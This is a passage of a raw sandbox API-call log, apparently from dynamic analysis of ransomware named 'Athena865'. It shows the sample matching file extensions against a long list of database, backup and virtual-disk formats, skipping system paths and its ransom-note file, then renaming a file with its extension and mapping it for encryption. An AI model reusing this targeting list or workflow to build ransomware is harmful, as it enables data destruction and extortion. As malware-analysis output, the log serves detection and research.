returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0061.779] lstrlenW (lpString="p97") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0061.779] lstrlenW (lpString="pan") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0061.780] lstrlenW (lpString="pdb") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0061.780] lstrlenW (lpString="pdm") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0061.780] lstrlenW (lpString="pnz") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0061.780] lstrlenW (lpString="qry") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0061.780] lstrlenW (lpString="qvd") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0061.780] lstrlenW (lpString="rbf") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0061.780] lstrlenW (lpString="rctd") returned 4 [0061.780] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0061.780] lstrlenW (lpString="rod") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0061.780] lstrlenW (lpString="rodx") returned 4 [0061.780] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0061.780] lstrlenW (lpString="rpd") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0061.780] lstrlenW (lpString="rsd") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0061.780] lstrlenW (lpString="sas7bdat") returned 8 [0061.780] lstrcmpiW (lpString1="etup.dll", lpString2="sas7bdat") returned -1 [0061.780] lstrlenW (lpString="sbf") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0061.780] lstrlenW (lpString="scx") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0061.780] lstrlenW (lpString="sdb") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0061.780] lstrlenW (lpString="sdc") returned 3 [0061.780] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0061.780] lstrlenW (lpString="sdf") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0061.781] lstrlenW (lpString="sis") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0061.781] lstrlenW (lpString="spq") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0061.781] lstrlenW (lpString="te") returned 2 [0061.781] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0061.781] lstrlenW (lpString="teacher") returned 7 [0061.781] lstrcmpiW (lpString1="tup.dll", lpString2="teacher") returned 1 [0061.781] lstrlenW (lpString="tmd") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0061.781] lstrlenW (lpString="tps") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0061.781] lstrlenW (lpString="trc") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0061.781] lstrlenW (lpString="trc") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0061.781] lstrlenW (lpString="trm") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0061.781] lstrlenW (lpString="udb") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0061.781] lstrlenW (lpString="udl") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0061.781] lstrlenW (lpString="usr") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0061.781] lstrlenW (lpString="v12") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0061.781] lstrlenW (lpString="vis") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0061.781] lstrlenW (lpString="vpd") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0061.781] lstrlenW (lpString="vvv") returned 3 [0061.781] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0061.782] lstrlenW (lpString="wdb") returned 3 [0061.782] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0061.782] lstrlenW (lpString="wmdb") returned 4 [0061.782] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0061.782] lstrlenW (lpString="wrk") returned 3 [0061.782] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0061.782] lstrlenW (lpString="xdb") returned 3 [0061.782] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0061.782] lstrlenW (lpString="xld") returned 3 [0061.782] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0061.782] lstrlenW (lpString="xmlff") returned 5 [0061.782] lstrcmpiW (lpString1="p.dll", lpString2="xmlff") returned -1 [0061.782] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865") returned 83 [0061.782] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.athena865"), dwFlags=0x1) returned 1 [0061.783] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0061.783] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7378792) returned 1 [0061.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0061.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0061.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0061.783] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0061.784] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0061.784] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.784] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x709a70, lpName=0x0) returned 0x17c [0061.786] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x109a70) returned 0x2d50000 [0061.832] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0061.912] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0061.947] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0061.948] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.948] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.949] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0061.967] CloseHandle (hObject=0x17c) returned 1 [0061.967] CloseHandle (hObject=0x154) returned 1 [0061.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0061.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.976] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".") returned 1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="..") returned 1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="windows") returned -1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="bootmgr") returned 1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="temp") returned -1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="pagefile.sys") returned -1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot") returned 1 [0061.976] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ids.txt") returned 1 [0061.977] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntuser.dat") returned 1 [0061.977] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="perflogs") returned -1 [0061.977] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="MSBuild") returned 1 [0061.977] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0061.977] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab" [0061.977] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0061.977] lstrlenW (lpString="Athena865") returned 9 [0061.977] lstrcmpiW (lpString1="W32WW.cab", lpString2="Athena865") returned 1 [0061.977] lstrlenW (lpString=".dll") returned 4 [0061.977] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".dll") returned 1 [0061.977] lstrlenW (lpString=".lnk") returned 4 [0061.977] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".lnk") returned 1 [0061.977] lstrlenW (lpString=".ini") returned 4 [0061.977] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".ini") returned 1 [0061.977] lstrlenW (lpString=".sys") returned 4 [0061.977] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".sys") returned 1 [0061.977] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0061.977] lstrlenW (lpString="bak") returned 3 [0061.977] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0061.977] lstrlenW (lpString="ba_") returned 3 [0061.977] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0061.977] lstrlenW (lpString="dbb") returned 3 [0061.977] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0061.977] lstrlenW (lpString="vmdk") returned 4 [0061.977] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0061.977] lstrlenW (lpString="rar") returned 3 [0061.977] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0061.977] lstrlenW (lpString="zip") returned 3 [0061.977] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0061.977] lstrlenW (lpString="tgz") returned 3 [0061.977] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0061.977] lstrlenW (lpString="vbox") returned 4 [0061.977] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0061.977] lstrlenW (lpString="vdi") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0061.978] lstrlenW (lpString="vhd") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0061.978] lstrlenW (lpString="vhdx") returned 4 [0061.978] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0061.978] lstrlenW (lpString="avhd") returned 4 [0061.978] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0061.978] lstrlenW (lpString="db") returned 2 [0061.978] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0061.978] lstrlenW (lpString="db2") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0061.978] lstrlenW (lpString="db3") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0061.978] lstrlenW (lpString="dbf") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0061.978] lstrlenW (lpString="mdf") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0061.978] lstrlenW (lpString="mdb") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0061.978] lstrlenW (lpString="sql") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0061.978] lstrlenW (lpString="sqlite") returned 6 [0061.978] lstrcmpiW (lpString1="WW.cab", lpString2="sqlite") returned 1 [0061.978] lstrlenW (lpString="sqlite3") returned 7 [0061.978] lstrcmpiW (lpString1="2WW.cab", lpString2="sqlite3") returned -1 [0061.978] lstrlenW (lpString="sqlitedb") returned 8 [0061.978] lstrcmpiW (lpString1="32WW.cab", lpString2="sqlitedb") returned -1 [0061.978] lstrlenW (lpString="xml") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0061.978] lstrlenW (lpString="$er") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0061.978] lstrlenW (lpString="4dd") returned 3 [0061.978] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0061.979] lstrlenW (lpString="4dl") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0061.979] lstrlenW (lpString="^^^") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0061.979] lstrlenW (lpString="abs") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0061.979] lstrlenW (lpString="abx") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0061.979] lstrlenW (lpString="accdb") returned 5 [0061.979] lstrcmpiW (lpString1="W.cab", lpString2="accdb") returned 1 [0061.979] lstrlenW (lpString="accdc") returned 5 [0061.979] lstrcmpiW (lpString1="W.cab", lpString2="accdc") returned 1 [0061.979] lstrlenW (lpString="accde") returned 5 [0061.979] lstrcmpiW (lpString1="W.cab", lpString2="accde") returned 1 [0061.979] lstrlenW (lpString="accdr") returned 5 [0061.979] lstrcmpiW (lpString1="W.cab", lpString2="accdr") returned 1 [0061.979] lstrlenW (lpString="accdt") returned 5 [0061.979] lstrcmpiW (lpString1="W.cab", lpString2="accdt") returned 1 [0061.979] lstrlenW (lpString="accdw") returned 5 [0061.979] lstrcmpiW (lpString1="W.cab", lpString2="accdw") returned 1 [0061.979] lstrlenW (lpString="accft") returned 5 [0061.979] lstrcmpiW (lpString1="W.cab", lpString2="accft") returned 1 [0061.979] lstrlenW (lpString="adb") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0061.979] lstrlenW (lpString="adb") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0061.979] lstrlenW (lpString="ade") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0061.979] lstrlenW (lpString="adf") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0061.979] lstrlenW (lpString="adn") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0061.979] lstrlenW (lpString="adp") returned 3 [0061.979] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0061.980] lstrlenW (lpString="alf") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0061.980] lstrlenW (lpString="ask") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0061.980] lstrlenW (lpString="btr") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0061.980] lstrlenW (lpString="cat") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0061.980] lstrlenW (lpString="cdb") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0061.980] lstrlenW (lpString="ckp") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0061.980] lstrlenW (lpString="cma") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0061.980] lstrlenW (lpString="cpd") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0061.980] lstrlenW (lpString="dacpac") returned 6 [0061.980] lstrcmpiW (lpString1="WW.cab", lpString2="dacpac") returned 1 [0061.980] lstrlenW (lpString="dad") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0061.980] lstrlenW (lpString="dadiagrams") returned 10 [0061.980] lstrcmpiW (lpString1="OW32WW.cab", lpString2="dadiagrams") returned 1 [0061.980] lstrlenW (lpString="daschema") returned 8 [0061.980] lstrcmpiW (lpString1="32WW.cab", lpString2="daschema") returned -1 [0061.980] lstrlenW (lpString="db-journal") returned 10 [0061.980] lstrcmpiW (lpString1="OW32WW.cab", lpString2="db-journal") returned 1 [0061.980] lstrlenW (lpString="db-shm") returned 6 [0061.980] lstrcmpiW (lpString1="WW.cab", lpString2="db-shm") returned 1 [0061.980] lstrlenW (lpString="db-wal") returned 6 [0061.980] lstrcmpiW (lpString1="WW.cab", lpString2="db-wal") returned 1 [0061.980] lstrlenW (lpString="dbc") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0061.980] lstrlenW (lpString="dbs") returned 3 [0061.980] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0061.981] lstrlenW (lpString="dbt") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0061.981] lstrlenW (lpString="dbv") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0061.981] lstrlenW (lpString="dbx") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0061.981] lstrlenW (lpString="dcb") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0061.981] lstrlenW (lpString="dct") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0061.981] lstrlenW (lpString="dcx") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0061.981] lstrlenW (lpString="ddl") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0061.981] lstrlenW (lpString="dlis") returned 4 [0061.981] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0061.981] lstrlenW (lpString="dp1") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0061.981] lstrlenW (lpString="dqy") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0061.981] lstrlenW (lpString="dsk") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0061.981] lstrlenW (lpString="dsn") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0061.981] lstrlenW (lpString="dtsx") returned 4 [0061.981] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0061.981] lstrlenW (lpString="dxl") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0061.981] lstrlenW (lpString="eco") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0061.981] lstrlenW (lpString="ecx") returned 3 [0061.981] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0061.982] lstrlenW (lpString="edb") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0061.982] lstrlenW (lpString="epim") returned 4 [0061.982] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0061.982] lstrlenW (lpString="fcd") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0061.982] lstrlenW (lpString="fdb") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0061.982] lstrlenW (lpString="fic") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0061.982] lstrlenW (lpString="flexolibrary") returned 12 [0061.982] lstrlenW (lpString="fm5") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0061.982] lstrlenW (lpString="fmp") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0061.982] lstrlenW (lpString="fmp12") returned 5 [0061.982] lstrcmpiW (lpString1="W.cab", lpString2="fmp12") returned 1 [0061.982] lstrlenW (lpString="fmpsl") returned 5 [0061.982] lstrcmpiW (lpString1="W.cab", lpString2="fmpsl") returned 1 [0061.982] lstrlenW (lpString="fol") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0061.982] lstrlenW (lpString="fp3") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0061.982] lstrlenW (lpString="fp4") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0061.982] lstrlenW (lpString="fp5") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0061.982] lstrlenW (lpString="fp7") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0061.982] lstrlenW (lpString="fpt") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0061.982] lstrlenW (lpString="frm") returned 3 [0061.982] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0061.983] lstrlenW (lpString="gdb") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0061.983] lstrlenW (lpString="gdb") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0061.983] lstrlenW (lpString="grdb") returned 4 [0061.983] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0061.983] lstrlenW (lpString="gwi") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0061.983] lstrlenW (lpString="hdb") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0061.983] lstrlenW (lpString="his") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0061.983] lstrlenW (lpString="ib") returned 2 [0061.983] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0061.983] lstrlenW (lpString="idb") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0061.983] lstrlenW (lpString="ihx") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0061.983] lstrlenW (lpString="itdb") returned 4 [0061.983] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0061.983] lstrlenW (lpString="itw") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0061.983] lstrlenW (lpString="jet") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0061.983] lstrlenW (lpString="jtx") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0061.983] lstrlenW (lpString="kdb") returned 3 [0061.983] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0061.983] lstrlenW (lpString="kexi") returned 4 [0061.983] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0061.983] lstrlenW (lpString="kexic") returned 5 [0061.983] lstrcmpiW (lpString1="W.cab", lpString2="kexic") returned 1 [0061.983] lstrlenW (lpString="kexis") returned 5 [0061.983] lstrcmpiW (lpString1="W.cab", lpString2="kexis") returned 1 [0061.984] lstrlenW (lpString="lgc") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0061.984] lstrlenW (lpString="lwx") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0061.984] lstrlenW (lpString="maf") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0061.984] lstrlenW (lpString="maq") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0061.984] lstrlenW (lpString="mar") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0061.984] lstrlenW (lpString="marshal") returned 7 [0061.984] lstrcmpiW (lpString1="2WW.cab", lpString2="marshal") returned -1 [0061.984] lstrlenW (lpString="mas") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0061.984] lstrlenW (lpString="mav") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0061.984] lstrlenW (lpString="maw") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0061.984] lstrlenW (lpString="mdbhtml") returned 7 [0061.984] lstrcmpiW (lpString1="2WW.cab", lpString2="mdbhtml") returned -1 [0061.984] lstrlenW (lpString="mdn") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0061.984] lstrlenW (lpString="mdt") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0061.984] lstrlenW (lpString="mfd") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0061.984] lstrlenW (lpString="mpd") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0061.984] lstrlenW (lpString="mrg") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0061.984] lstrlenW (lpString="mud") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0061.984] lstrlenW (lpString="mwb") returned 3 [0061.984] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0061.985] lstrlenW (lpString="myd") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0061.985] lstrlenW (lpString="ndf") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0061.985] lstrlenW (lpString="nnt") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0061.985] lstrlenW (lpString="nrmlib") returned 6 [0061.985] lstrcmpiW (lpString1="WW.cab", lpString2="nrmlib") returned 1 [0061.985] lstrlenW (lpString="ns2") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0061.985] lstrlenW (lpString="ns3") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0061.985] lstrlenW (lpString="ns4") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0061.985] lstrlenW (lpString="nsf") returned 3 [0061.985] 